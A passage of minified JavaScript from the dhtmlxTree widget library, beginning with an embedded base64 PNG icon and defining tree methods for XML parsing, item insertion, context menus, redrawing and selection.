\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAADsQAAA7EAZUrDhsAAABzSURBVCjPzZG9CYAwFIS/yIMUKezdy0kcxzHcwjEsXEBEIsHYiOYP0nrdwcdx9x5UpGgRABwbVw4IAxqP4mRiLgHdm9VjWVBRvlOMgd05kgArgfEYTNpRIuuzCr6pzfwDINFhisCKLsx7roD9nlWWq1XgBj4uFOvCNzabAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE1LTA3LTI1VDIxOjQ5OjM0KzA4OjAwGusg6gAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxMy0wNy0wNVQyMDo1MTo1MiswODowMGcLKB0AAABOdEVYdHNvZnR3YXJlAEltYWdlTWFnaWNrIDYuOC44LTEwIFExNiB4ODZfNjQgMjAxNS0wNy0xOSBodHRwOi8vd3d3LmltYWdlbWFnaWNrLm9yZwUMnDUAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADI1NunDRBkAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgAMjU2ejIURAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzczMDI4NzEyPpsUzwAAABN0RVh0VGh1bWI6OlNpemUAMS4yMktCQqSoG1oAAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTIwMi8xMTIwMjAzLnBuZ3cYP4YAAAAASUVORK5CYII=\");\n\n  dhx4._eventable(this);this.dragger=new dhtmlDragAndDropObject();this.htmlNode=new dhtmlXTreeItemObject(this.rootId,\"\",0,this);this.htmlNode.htmlNode.childNodes[0].childNodes[0].style.display=\"none\";this.htmlNode.htmlNode.childNodes[0].childNodes[0].childNodes[0].className=\"hiddenRow\";this.allTree=this._createSelf();this.allTree.appendChild(this.htmlNode.htmlNode);if(dhtmlx.$customScroll){dhtmlx.CustomScroll.enable(this)}if(_isFF){this.allTree.childNodes[0].width=\"100%\";this.allTree.childNodes[0].style.overflow=\"hidden\"}var g=this;this.allTree.onselectstart=new Function(\"return false;\");if(_isMacOS){this.allTree.oncontextmenu=function(n){return g._doContClick(n||window.event,true)}}this.allTree.onmousedown=function(n){return g._doContClick(n||window.event)};this.XMLLoader=this._parseXMLTree;if(_isIE){this.preventIECashing(true)}this.selectionBar=document.createElement(\"DIV\");this.selectionBar.className=\"selectionBar\";this.selectionBar.innerHTML=\"&nbsp;\";this.selectionBar.style.display=\"none\";this.allTree.appendChild(this.selectionBar);if(window.addEventListener){window.addEventListener(\"unload\",function(){try{g.destructor()}catch(n){}},false)}if(window.attachEvent){window.attachEvent(\"onunload\",function(){try{g.destructor()}catch(n){}})}this.setImagesPath=this.setImagePath;this.setIconsPath=this.setIconPath;if(dhtmlx.image_path){this.setImagePath(dhtmlx.image_path)}this.setSkin(window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxtree\")||\"dhx_skyblue\");return this}dhtmlXTreeObject.prototype.setDataMode=function(a){this._datamode=a};dhtmlXTreeObject.prototype._doContClick=function(m,a){if(!a&&m.button!=2){if(this._acMenu){if(this._acMenu.hideContextMenu){this._acMenu.hideContextMenu()}else{this.cMenu._contextEnd()}}return true}var c=(_isIE?m.srcElement:m.target);while((c)&&(c.tagName!=\"BODY\")){if(c.parentObject){break}c=c.parentNode}if((!c)||(!c.parentObject)){return true}var h=c.parentObject;if(!this.callEvent(\"onRightClick\",[h.id,m])){(m.srcElement||m.target).oncontextmenu=function(q){(q||event).cancelBubble=true;return false}}this._acMenu=(h.cMenu||this.cMenu);if(this._acMenu){if(!(this.callEvent(\"onBeforeContextMenu\",[h.id]))){return true}if(!_isMacOS){(m.srcElement||m.target).oncontextmenu=function(q){(q||event).cancelBubble=true;return false}}if(this._acMenu.showContextMenu){var g=window.document.documentElement;var e=window.document.body;var n=new Array((g.scrollLeft||e.scrollLeft),(g.scrollTop||e.scrollTop));if(_isIE){var o=m.clientX+n[0];var l=m.clientY+n[1]}else{var o=m.pageX;var l=m.pageY}this._acMenu.showContextMenu(o-1,l-1);this.contextID=h.id;m.cancelBubble=true;this._acMenu._skip_hide=true}else{c.contextMenuId=h.id;c.contextMenu=this._acMenu;c.a=this._acMenu._contextStart;c.a(c,m);c.a=null}return false}return true};dhtmlXTreeObject.prototype.enableIEImageFix=function(a){if(!a){this._getImg=function(c){return document.createElement((c==this.rootId)?\"div\":\"img\")};this._setSrc=function(e,c){e.src=c};this._getSrc=function(c){return c.src}}else{this._getImg=function(){var c=document.createElement(\"DIV\");c.innerHTML=\"&nbsp;\";c.className=\"dhx_bg_img_fix\";return c};this._setSrc=function(e,c){e.style.backgroundImage=\"url(\"+c+\")\"};this._getSrc=function(c){var e=c.style.backgroundImage;return e.substr(4,e.length-5).replace(/(^\")|(\"$)/g,\"\")}}};dhtmlXTreeObject.prototype.destructor=function(){for(var c in this._idpull){var e=this._idpull[c];if(!e){continue}e.parentObject=null;e.treeNod=null;e.childNodes=null;e.span=null;e.tr.nodem=null;e.tr=null;e.htmlNode.objBelong=null;e.htmlNode=null;this._idpull[c]=null}this.parentObject.innerHTML=\"\";this.allTree.onselectstart=null;this.allTree.oncontextmenu=null;this.allTree.onmousedown=null;for(var c in this){this[c]=null}};function cObject(){return this}cObject.prototype=new Object;cObject.prototype.clone=function(){function a(){}a.prototype=this;return new a()};function dhtmlXTreeItemObject(l,c,e,a,g,h){this.htmlNode=\"\";this.acolor=\"\";this.scolor=\"\";this.tr=0;this.childsCount=0;this.tempDOMM=0;this.tempDOMU=0;this.dragSpan=0;this.dragMove=0;this.span=0;this.closeble=1;this.childNodes=new Array();this.userData=new cObject();this.checkstate=0;this.treeNod=a;this.label=c;this.parentObject=e;this.actionHandler=g;this.images=new Array(a.imageArray[0],a.imageArray[1],a.imageArray[2]);this.id=a._globalIdStorageAdd(l,this);if(this.treeNod.checkBoxOff){this.htmlNode=this.treeNod._createItem(1,this,h)}else{this.htmlNode=this.treeNod._createItem(0,this,h)}this.htmlNode.objBelong=this;return this}dhtmlXTreeObject.prototype._globalIdStorageAdd=function(c,a){if(this._globalIdStorageFind(c,1,1)){c=c+\"_\"+(new Date()).valueOf();return this._globalIdStorageAdd(c,a)}this._idpull[c]=a;this._pullSize++;return c};dhtmlXTreeObject.prototype._globalIdStorageSub=function(a){if(this._idpull[a]){this._unselectItem(this._idpull[a]);this._idpull[a]=null;this._pullSize--}if((this._locker)&&(this._locker[a])){this._locker[a]=false}};dhtmlXTreeObject.prototype._globalIdStorageFind=function(l,a,e,g){var h=this._idpull[l];if(h){if((h.unParsed)&&(!e)){this.reParse(h,0)}if(this._srnd&&!h.htmlNode){this._buildSRND(h,e)}if((g)&&(this._edsbpsA)){for(var c=0;c<this._edsbpsA.length;c++){if(this._edsbpsA[c][2]==l){dhx4.callEvent(\"ongetItemError\",[\"Requested item still in parsing process.\",l]);return null}}}return h}if((this.slowParse)&&(l!=0)&&(!a)){return this.preParse(l)}else{return null}};dhtmlXTreeObject.prototype._getSubItemsXML=function(a){var c=[];a.each(\"item\",function(e){c.push(e.get(\"id\"))},this);return c.join(this.dlmtr)};dhtmlXTreeObject.prototype.enableSmartXMLParsing=function(a){this.slowParse=dhx4.s2b(a)};dhtmlXTreeObject.prototype.findXML=function(c,a,e){};dhtmlXTreeObject.prototype._getAllCheckedXML=function(c,a,g){var e=[];if(g==2){c.through(\"item\",\"checked\",-1,function(h){e.push(h.get(\"id\"))},this)}if(g==1){c.through(\"item\",\"id\",null,function(h){if(h.get(\"checked\")&&(h.get(\"checked\")!=-1)){e.push(h.get(\"id\"))}},this)}if(g==0){c.through(\"item\",\"id\",null,function(h){if(!h.get(\"checked\")||h.get(\"checked\")==0){e.push(h.get(\"id\"))}},this)}if(e.length){return a+(a?this.dlmtr:\"\")+e.join(this.dlmtr)}if(a){return a}else{return\"\"}};dhtmlXTreeObject.prototype._setSubCheckedXML=function(a,c){var e=a?\"1\":\"\";c.through(\"item\",\"id\",null,function(g){if(!g.get(\"disabled\")||g.get(\"disabled\")==0){g.set(\"checked\",e)}},this)};dhtmlXTreeObject.prototype._getAllScraggyItemsXML=function(e,a){var g=[];var c=function(h){if(!h.sub_exists(\"item\")){g.push(h.get(\"id\"))}else{h.each(\"item\",c,this)}};c(e);return g.join(\",\")};dhtmlXTreeObject.prototype._getAllFatItemsXML=function(e,a){var g=[];var c=function(h){if(!h.sub_exists(\"item\")){return}g.push(h.get(\"id\"));h.each(\"item\",c,this)};c(e);return g.join(\",\")};dhtmlXTreeObject.prototype._getAllSubItemsXML=function(e,c,a){var c=[];a.through(\"item\",\"id\",null,function(g){c.push(g.get(\"id\"))},this);return c.join(\",\")};dhtmlXTreeObject.prototype.reParse=function(e){var l=this;if(!this.parsCount){l.callEvent(\"onXLS\",[l,e.id])}this.xmlstate=1;var g=e.unParsed;e.unParsed=0;this.XMLloadingWarning=1;var a=this.parsingOn;var m=this.waitUpdateXML;var o=this.parsedArray;this.parsedArray=new Array();this.waitUpdateXML=false;this.parsingOn=e.id;this.parsedArray=new Array();this.setCheckList=\"\";this._parse(g,e.id,2);var q=this.setCheckList.split(this.dlmtr);for(var h=0;h<this.parsedArray.length;h++){e.htmlNode.childNodes[0].appendChild(this.parsedArray[h])}if(g.get(\"order\")&&g.get(\"order\")!=\"none\"){this._reorderBranch(e,g.get(\"order\"),true)}this.oldsmcheck=this.smcheck;this.smcheck=false;for(var c=0;c<q.length;c++){if(q[c]){this.setCheck(q[c],1)}}this.smcheck=this.oldsmcheck;this.parsingOn=a;this.waitUpdateXML=m;this.parsedArray=o;this.XMLloadingWarning=0;this._redrawFrom(this,e);if(this._srnd&&!e._sready){this.prepareSR(e.id)}this.xmlstate=0;return true};dhtmlXTreeObject.prototype.preParse=function(c){if(!c||!this._p){return null}var a=false;this._p.clone().through(\"item\",\"id\",c,function(g){this._globalIdStorageFind(g.up().get(\"id\"));return a=true},this);if(a){var e=this._globalIdStorageFind(c,true,false);if(!e){dhx4.callEvent(\"ongetItemError\",[\"The item \"+c+\" not operable. Seems you have non-unique|incorrect IDs in tree's XML.\",c])}}return e};dhtmlXTreeObject.prototype._escape=function(a){switch(this.utfesc){case\"none\":return a;break;case\"utf8\":return encodeURIComponent(a);break;default:return escape(a);break}};dhtmlXTreeObject.prototype._drawNewTr=function(h,e){var g=document.createElement(\"tr\");var c=document.createElement(\"td\");var a=document.createElement(\"td\");c.appendChild(document.createTextNode(\" \"));a.colSpan=3;a.appendChild(h);g.appendChild(c);g.appendChild(a);return g};dhtmlXTreeObject.prototype.loadXMLString=dhtmlXTreeObject.prototype.parse=function(g,e,a){if(typeof e==\"string\"){a=e;e=null}if(a===\"json\"){return this.loadJSONObject(g,e)}else{if(a===\"csv\"){return this.loadCSVString(g,e)}}var c=this;if(!this.parsCount){this.callEvent(\"onXLS\",[c,null])}this.xmlstate=1;this.XMLLoader({responseXML:dhx4.ajax.parse(g)},e)};dhtmlXTreeObject.prototype.loadXML=dhtmlXTreeObject.prototype.load=function(c,h,e){if(typeof h==\"string\"){e=h;h=null}if(e===\"json\"){return this.loadJSON(c,h)}else{if(e===\"csv\"){return this.loadCSV(c,h)}}if(this._datamode&&this._datamode!=\"xml\"){return this[\"load\"+this._datamode.toUpperCase()](c,h)}var g=this;if(!this.parsCount){this.callEvent(\"onXLS\",[g,this._ld_id])}this._ld_id=null;this.xmlstate=1;this.XMLLoader=this._parseXMLTree;var a=this;dhx4.ajax.get(c,function(l){a.XMLLoader(l.xmlDoc,h);a=null})};dhtmlXTreeObject.prototype._attachChildNode=function(m,l,g,o,D,C,A,q,e,u,v){if(u&&u.parentObject){m=u.parentObject}if(((m.XMLload==0)&&(this.XMLsource))&&(!this.XMLloadingWarning)){m.XMLload=1;this._loadDynXML(m.id)}var r=m.childsCount;var E=m.childNodes;if(v&&v.tr.previousSibling){if(v.tr.previousSibling.previousSibling){u=v.tr.previousSibling.nodem}else{q=q.replace(\"TOP\",\"\")+\",TOP\"}}if(u){var h,y;for(h=0;h<r;h++){if(E[h]==u){for(y=r;y!=h;y--){E[1+y]=E[y]}break}}h++;r=h}if(q){var w=q.split(\",\");for(var x=0;x<w.length;x++){switch(w[x]){case\"TOP\":if(m.childsCount>0){u=new Object;u.tr=m.childNodes[0].tr.previousSibling}m._has_top=true;for(h=r;h>0;h--){E[h]=E[h-1]}r=0;break}}}var s;if(!(s=this._idpull[l])||s.span!=-1){s=E[r]=new dhtmlXTreeItemObject(l,g,m,this,o,1);l=E[r].id;m.childsCount++}if(!s.htmlNode){s.label=g;s.htmlNode=this._createItem((this.checkBoxOff?1:0),s);s.htmlNode.objBelong=s}if(D){s.images[0]=D}if(C){s.images[1]=C}if(A){s.images[2]=A}var c=this._drawNewTr(s.htmlNode);if((this.XMLloadingWarning)||(this._hAdI)){s.htmlNode.parentNode.parentNode.style.display=\"none\"}if((u)&&u.tr&&(u.tr.nextSibling)){m.htmlNode.childNodes[0].insertBefore(c,u.tr.nextSibling)}else{if(this.parsingOn==m.id){this.parsedArray[this.parsedArray.length]=c}else{m.htmlNode.childNodes[0].appendChild(c)}}if((u)&&(!u.span)){u=null}if(this.XMLsource){if((e)&&(e!=0)){s.XMLload=0}else{s.XMLload=1}}s.tr=c;c.nodem=s;if(m.itemId==0){c.childNodes[0].className=\"hiddenRow\"}if((m._r_logic)||(this._frbtr)){this._setSrc(s.htmlNode.childNodes[0].childNodes[0].childNodes[1].childNodes[0],this.imPath+this.radioArray[0])}if(q){var w=q.split(\",\");for(var x=0;x<w.length;x++){switch(w[x]){case\"SELECT\":this.selectItem(l,false);break;case\"CALL\":this.selectItem(l,true);break;case\"CHILD\":s.XMLload=0;break;case\"CHECKED\":if(this.XMLloadingWarning){this.setCheckList+=this.dlmtr+l}else{this.setCheck(l,1)}break;case\"HCHECKED\":this._setCheck(s,\"unsure\");break;case\"OPEN\":s.openMe=1;break}}}if(!this.XMLloadingWarning){if((this._getOpenState(m)<0)&&(!this._hAdI)){this.openItem(m.id)}if(u){this._correctPlus(u);this._correctLine(u)}this._correctPlus(m);this._correctLine(m);this._correctPlus(s);if(m.childsCount>=2){this._correctPlus(E[m.childsCount-2]);this._correctLine(E[m.childsCount-2])}if(m.childsCount!=2){this._correctPlus(E[0])}if(this.tscheck){this._correctCheckStates(m)}if(this._onradh){if(this.xmlstate==1){var a=this.onXLE;this.onXLE=function(n){this._onradh(l);if(a){a(n)}}}else{this._onradh(l)}}}return s};dhtmlXTreeObject.prototype.enableContextMenu=function(a){if(a){this.cMenu=a}};dhtmlXTreeObject.prototype.setItemContextMenu=function(h,g){var a=h.toString().split(this.dlmtr);for(var e=0;e<a.length;e++){var c=this._globalIdStorageFind(a[e]);if(!c){continue}c.cMenu=g}};dhtmlXTreeObject.prototype.insertNewItem=function(g,n,q,e,m,l,h,c,a){var r=this._globalIdStorageFind(g);if(!r){return(-1)}var o=this._attachChildNode(r,n,q,e,m,l,h,c,a);if(!this._idpull[this.rootId].XMLload){this._idpull[this.rootId].XMLload=1}if((!this.XMLloadingWarning)&&(this.childCalc)){this._fixChildCountLabel(r)}return o};dhtmlXTreeObject.prototype.insertNewChild=function(g,n,o,e,m,l,h,c,a){return this.insertNewItem(g,n,o,e,m,l,h,c,a)};dhtmlXTreeObject.prototype._parseXMLTree=function(a,e){var c=new xmlPointer(dhx4.ajax.xmltop(\"tree\",a));this._parse(c);this._p=c;if(e){e.call(this,a)}};dhtmlXTreeObject.prototype._parseItem=function(l,q,h,n){var e;if(this._srnd&&(!this._idpull[e=l.get(\"id\")]||!this._idpull[e].span)){this._addItemSRND(q.id,e,l);return}var m=l.get_all();if((typeof(this.waitUpdateXML)==\"object\")&&(!this.waitUpdateXML[m.id])){this._parse(l,m.id,1);return}if((m.text===null)||(typeof(m.text)==\"undefined\")){m.text=l.sub(\"itemtext\");if(m.text){m.text=m.text.content()}}var s=[];if(m.select){s.push(\"SELECT\")}if(m.top){s.push(\"TOP\")}if(m.call){this.nodeAskingCall=m.id}if(m.checked==-1){s.push(\"HCHECKED\")}else{if(m.checked){s.push(\"CHECKED\")}}if(m.open){s.push(\"OPEN\")}if(this.waitUpdateXML){if(this._globalIdStorageFind(m.id)){var o=this.updateItem(m.id,m.text,m.im0,m.im1,m.im2,m.checked,m.child)}else{if(this.npl==0){s.push(\"TOP\")}else{h=q.childNodes[this.npl]}var o=this._attachChildNode(q,m.id,m.text,0,m.im0,m.im1,m.im2,s.join(\",\"),m.child,0,h);m.id=o.id;h=null}}else{var o=this._attachChildNode(q,m.id,m.text,0,m.im0,m.im1,m.im2,s.join(\",\"),m.child,(n||0),h)}if(m.tooltip){o.span.parentNode.parentNode.title=m.tooltip}if(m.style){if(o.span.style.cssText){o.span.style.cssText+=(\";\"+m.style)}else{o.span.setAttribute(\"style\",o.span.getAttribute(\"style\")+\"; \"+m.style)}}if(m.radio){o._r_logic=true}if(m.nocheckbox){var r=o.span.parentNode.previousSibling.previousSibling;r.style.display=\"none\";o.nocheckbox=true}if(m.disabled){if(m.checked!=null){this._setCheck(o,m.checked)}this.disableCheckbox(o,1)}o._acc=m.child||0;if(this.parserExtension){this.parserExtension._parseExtension.call(this,l,m,(q?q.id:0))}this.setItemColor(o,m.aCol,m.sCol);if(m.locked==\"1\"){this.lockItem(o.id,true,true)}if((m.imwidth)||(m.imheight)){this.setIconSize(m.imwidth,m.imheight,o)}if((m.closeable==\"0\")||(m.closeable==\"1\")){this.setItemCloseable(o,m.closeable)}var g=\"\";if(m.topoffset){this.setItemTopOffset(o,m.topoffset)}if((!this.slowParse)||(typeof(this.waitUpdateXML)==\"object\")){if(l.sub_exists(\"item\")){g=this._parse(l,m.id,1)}}else{if((!o.childsCount)&&l.sub_exists(\"item\")){o.unParsed=l.clone()}l.each(\"userdata\",function(a){this.setUserData(m.id,a.get(\"name\"),a.content())},this)}if(g!=\"\"){this.nodeAskingCall=g}l.each(\"userdata\",function(a){this.setUserData(l.get(\"id\"),a.get(\"name\"),a.content())},this)};dhtmlXTreeObject.prototype._parse=function(e,l,a,c){if(this._srnd&&!this.parentObject.offsetHeight){var v=this;return window.setTimeout(function(){v._parse(e,l,a,c)},100)}if(!e.exists()){return}this.skipLock=true;if(!l){l=e.get(\"id\");var s=e.get(\"dhx_security\");if(s){dhtmlx.security_key=s}if(e.get(\"radio\")){this.htmlNode._r_logic=true}this.parsingOn=l;this.parsedArray=new Array();this.setCheckList=\"\";this.nodeAskingCall=\"\"}var u=this._globalIdStorageFind(l);if(!u){return dhx4.callEvent(\"onDataStructureError\",[\"XML refers to not existing parent\"])}this.parsCount=this.parsCount?(this.parsCount+1):1;this.XMLloadingWarning=1;if((u.childsCount)&&(!c)&&(!this._edsbps)&&(!u._has_top)){var m=0}else{var m=0}this.npl=0;e.each(\"item\",function(w,n){u.XMLload=1;this._parseItem(w,u,0,m);if((this._edsbps)&&(this.npl==this._edsbpsC)){this._distributedStart(e,n+1,l,a,u.childsCount);return -1}this.npl++},this,c);if(!a){e.each(\"userdata\",function(n){this.setUserData(e.get(\"id\"),n.get(\"name\"),n.content())},this);u.XMLload=1;if(this.waitUpdateXML){this.waitUpdateXML=false;for(var h=u.childsCount-1;h>=0;h--){if(u.childNodes[h]._dmark){this.deleteItem(u.childNodes[h].id)}}}var q=this._globalIdStorageFind(this.parsingOn);for(var h=0;h<this.parsedArray.length;h++){u.htmlNode.childNodes[0].appendChild(this.parsedArray[h])}this.parsedArray=[];this.lastLoadedXMLId=l;this.XMLloadingWarning=0;var r=this.setCheckList.split(this.dlmtr);for(var g=0;g<r.length;g++){if(r[g]){this.setCheck(r[g],1)}}if((this.XMLsource)&&(this.tscheck)&&(this.smcheck)&&(u.id!=this.rootId)){if(u.checkstate===0){this._setSubChecked(0,u)}else{if(u.checkstate===1){this._setSubChecked(1,u)}}}this._redrawFrom(this,null,c);if(e.get(\"order\")&&e.get(\"order\")!=\"none\"){this._reorderBranch(u,e.get(\"order\"),true)}if(this.nodeAskingCall!=\"\"){this.callEvent(\"onClick\",[this.nodeAskingCall,this.getSelectedItemId()])}if(this._branchUpdate){this._branchUpdateNext(e)}}if(this.parsCount==1){this.parsingOn=null;if(this._srnd&&u.id!=this.rootId){this.prepareSR(u.id);if(this.XMLsource){this.openItem(u.id)}}e.through(\"item\",\"open\",null,function(n){this.openItem(n.get(\"id\"))},this);if((!this._edsbps)||(!this._edsbpsA.length)){var o=this;window.setTimeout(function(){o.callEvent(\"onXLE\",[o,l])},1);this.xmlstate=0}this.skipLock=false}this.parsCount--;var o=this;if(this._edsbps){window.setTimeout(function(){o._distributedStep(l)},this._edsbpsD)}if(!a&&this.onXLE){this.onXLE(this,l)}return this.nodeAskingCall};dhtmlXTreeObject.prototype._branchUpdateNext=function(a){a.each(\"item\",function(g){var e=g.get(\"id\");if(this._idpull[e]&&(!this._idpull[e].XMLload)){return}this._branchUpdate++;this.smartRefreshItem(g.get(\"id\"),g)},this);this._branchUpdate--};dhtmlXTreeObject.prototype.checkUserData=function(c,e){if((c.nodeType==1)&&(c.tagName==\"userdata\")){var a=c.getAttribute(\"name\");if((a)&&(c.childNodes[0])){this.setUserData(e,a,c.childNodes[0].data)}}};dhtmlXTreeObject.prototype._redrawFrom=function(n,c,m,e){if(!c){var h=n._globalIdStorageFind(n.lastLoadedXMLId);n.lastLoadedXMLId=-1;if(!h){return 0}}else{h=c}var l=0;for(var g=(m?m-1:0);g<h.childsCount;g++){if((!this._branchUpdate)||(this._getOpenState(h)==1)){if((!c)||(e==1)){h.childNodes[g].htmlNode.parentNode.parentNode.style.display=\"\"}}if(h.childNodes[g].openMe==1){this._openItem(h.childNodes[g]);h.childNodes[g].openMe=0}n._redrawFrom(n,h.childNodes[g]);if(this.childCalc!=null){if((h.childNodes[g].unParsed)||((!h.childNodes[g].XMLload)&&(this.XMLsource))){if(h.childNodes[g]._acc){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+h.childNodes[g]._acc+this.htmlcB}else{h.childNodes[g].span.innerHTML=h.childNodes[g].label}}if((h.childNodes[g].childNodes.length)&&(this.childCalc)){if(this.childCalc==1){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+h.childNodes[g].childsCount+this.htmlcB}if(this.childCalc==2){var a=h.childNodes[g].childsCount-(h.childNodes[g].pureChilds||0);if(a){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+a+this.htmlcB}if(h.pureChilds){h.pureChilds++}else{h.pureChilds=1}}if(this.childCalc==3){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+h.childNodes[g]._acc+this.htmlcB}if(this.childCalc==4){var a=h.childNodes[g]._acc;if(a){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+a+this.htmlcB}}}else{if(this.childCalc==4){l++}}l+=h.childNodes[g]._acc;if(this.childCalc==3){l++}}}if((!h.unParsed)&&((h.XMLload)||(!this.XMLsource))){h._acc=l}n._correctLine(h);n._correctPlus(h);if((this.childCalc)&&(!c)){n._fixChildCountLabel(h)}};dhtmlXTreeObject.prototype._createSelf=function(){var a=document.createElement(\"div\");a.className=\"containerTableStyle\";a.style.width=this.width;a.style.height=this.height;this.parentObject.appendChild(a);return a};dhtmlXTreeObject.prototype._xcloseAll=function(c){if(c.unParsed){return}if(this.rootId!=c.id){if(!c.htmlNode){return}var g=c.htmlNode.childNodes[0].childNodes;var a=g.length;for(var e=1;e<a;e++){g[e].style.display=\"none\"}this._correctPlus(c)}for(var e=0;e<c.childsCount;e++){if(c.childNodes[e].childsCount){this._xcloseAll(c.childNodes[e])}}};dhtmlXTreeObject.prototype._xopenAll=function(a){this._HideShow(a,2);for(var c=0;c<a.childsCount;c++){this._xopenAll(a.childNodes[c])}};dhtmlXTreeObject.prototype._correctPlus=function(c){if(!c.htmlNode){return}var e=c.htmlNode.childNodes[0].childNodes[0].childNodes[0].lastChild;var h=c.htmlNode.childNodes[0].childNodes[0].childNodes[2].childNodes[0];var a=this.lineArray;if((this.XMLsource)&&(!c.XMLload)){var a=this.plusArray;this._setSrc(h,this.iconURL+c.images[2]);if(this._txtimg){return(e.innerHTML=\"[+]\")}}else{if((c.childsCount)||(c.unParsed)){if((c.htmlNode.childNodes[0].childNodes[1])&&(c.htmlNode.childNodes[0].childNodes[1].style.display!=\"none\")){if(!c.wsign){var a=this.minusArray}this._setSrc(h,this.iconURL+c.images[1]);if(this._txtimg){return(e.innerHTML=\"[-]\")}}else{if(!c.wsign){var a=this.plusArray}this._setSrc(h,this.iconURL+c.images[2]);if(this._txtimg){return(e.innerHTML=\"[+]\")}}}else{this._setSrc(h,this.iconURL+c.images[0])}}var g=2;if(!c.treeNod.treeLinesOn){this._setSrc(e,this.imPath+a[3])}else{if(c.parentObject){g=this._getCountStatus(c.id,c.parentObject)}this._setSrc(e,this.imPath+a[g])}};dhtmlXTreeObject.prototype._correctLine=function(c){if(!c.htmlNode){return}var a=c.parentObject;if(a){if((this._getLineStatus(c.id,a)==0)||(!this.treeLinesOn)){for(var e=1;e<=c.childsCount;e++){if(!c.htmlNode.childNodes[0].childNodes[e]){break}c.htmlNode.childNodes[0].childNodes[e].childNodes[0].style.backgroundImage=\"\";c.htmlNode.childNodes[0].childNodes[e].childNodes[0].style.backgroundRepeat=\"\"}}else{for(var e=1;e<=c.childsCount;e++){if(!c.htmlNode.childNodes[0].childNodes[e]){break}c.htmlNode.childNodes[0].childNodes[e].childNodes[0].style.backgroundImage=\"url(\"+this.imPath+this.lineArray[5]+\")\";c.htmlNode.childNodes[0].childNodes[e].childNodes[0].style.backgroundRepeat=\"repeat-y\"}}}};dhtmlXTreeObject.prototype._getCountStatus=function(c,a){if(a.childsCount<=1){if(a.id==this.rootId){return 4}else{return 0}}if(a.childNodes[0].id==c){if(a.id==this.rootId){return 2}else{return 1}}if(a.childNodes[a.childsCount-1].id==c){return 0}return 1};dhtmlXTreeObject.prototype._getLineStatus=function(c,a){if(a.childNodes[a.childsCount-1].id==c){return 0}return 1};dhtmlXTreeObject.prototype._HideShow=function(c,h){if((this.XMLsource)&&(!c.XMLload)){if(h==1){return}c.XMLload=1;this._loadDynXML(c.id);return}if(c.unParsed){this.reParse(c)}var g=c.htmlNode.childNodes[0].childNodes;var a=g.length;if(a>1){if(((g[1].style.display!=\"none\")||(h==1))&&(h!=2)){this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\";nodestyle=\"none\"}else{nodestyle=\"\"}for(var e=1;e<a;e++){g[e].style.display=nodestyle}}this._correctPlus(c)};dhtmlXTreeObject.prototype._getOpenState=function(a){if(!a.htmlNode){return 0}var c=a.htmlNode.childNodes[0].childNodes;if(c.length<=1){return 0}if(c[1].style.display!=\"none\"){return 1}else{return -1}};dhtmlXTreeObject.prototype.onRowClick2=function(){var a=this.parentObject.treeNod;if(!a.callEvent(\"onDblClick\",[this.parentObject.id,a])){return false}if((this.parentObject.closeble)&&(this.parentObject.closeble!=\"0\")){a._HideShow(this.parentObject)}else{a._HideShow(this.parentObject,2)}if(a.checkEvent(\"onOpenEnd\")){if(!a.xmlstate){a.callEvent(\"onOpenEnd\",[this.parentObject.id,a._getOpenState(this.parentObject)])}else{a._oie_onXLE.push(a.onXLE);a.onXLE=a._epnFHe}}return false};dhtmlXTreeObject.prototype.onRowClick=function(){var a=this.parentObject.treeNod;if(!a.callEvent(\"onOpenStart\",[this.parentObject.id,a._getOpenState(this.parentObject)])){return 0}if((this.parentObject.closeble)&&(this.parentObject.closeble!=\"0\")){a._HideShow(this.parentObject)}else{a._HideShow(this.parentObject,2)}if(a.checkEvent(\"onOpenEnd\")){if(!a.xmlstate){a.callEvent(\"onOpenEnd\",[this.parentObject.id,a._getOpenState(this.parentObject)])}else{a._oie_onXLE.push(a.onXLE);a.onXLE=a._epnFHe}}};dhtmlXTreeObject.prototype._epnFHe=function(c,e,a){if(e!=this.rootId){this.callEvent(\"onOpenEnd\",[e,c.getOpenState(e)])}c.onXLE=c._oie_onXLE.pop();if(!a&&!c._oie_onXLE.length){if(c.onXLE){c.onXLE(c,e)}}};dhtmlXTreeObject.prototype.onRowClickDown=function(c){c=c||window.event;var a=this.parentObject.treeNod;a._selectItem(this.parentObject,c)};dhtmlXTreeObject.prototype.getSelectedItemId=function(){var c=new Array();for(var a=0;a<this._selected.length;a++){c[a]=this._selected[a].id}return(c.join(this.dlmtr))};dhtmlXTreeObject.prototype._selectItem=function(m,n){if(this.checkEvent(\"onSelect\")){this._onSSCFold=this.getSelectedItemId()}if((!this._amsel)||(!n)||((!n.ctrlKey)&&(!n.metaKey)&&(!n.shiftKey))){this._unselectItems()}if((m.i_sel)&&(this._amsel)&&(n)&&(n.ctrlKey||n.metaKey)){this._unselectItem(m)}else{if((!m.i_sel)&&((!this._amselS)||(this._selected.length==0)||(this._selected[0].parentObject==m.parentObject))){if((this._amsel)&&(n)&&(n.shiftKey)&&(this._selected.length!=0)&&(this._selected[this._selected.length-1].parentObject==m.parentObject)){var h=this._getIndex(this._selected[this._selected.length-1]);var g=this._getIndex(m);if(g<h){var q=h;h=g;g=q}for(var 